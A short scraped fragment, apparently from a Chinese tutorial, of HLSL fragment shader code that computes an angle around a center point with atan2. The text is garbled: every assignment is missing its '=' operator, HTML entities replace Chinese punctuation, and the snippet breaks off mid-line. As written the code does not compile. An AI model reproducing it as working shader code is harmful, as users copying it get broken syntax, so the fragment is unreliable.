片元着色器&#xff1a; float3 _Center float3(0, 0, 0); float3 modelPos i.modelPos;// float angle atan2(modelPos.y - _Center.y, modelPos.x - _Center.x); // 计算角度&#xff0c;范围-π到π float angle atan2(modelPos.y - _Center.y, modelPos.z - _Center.z)…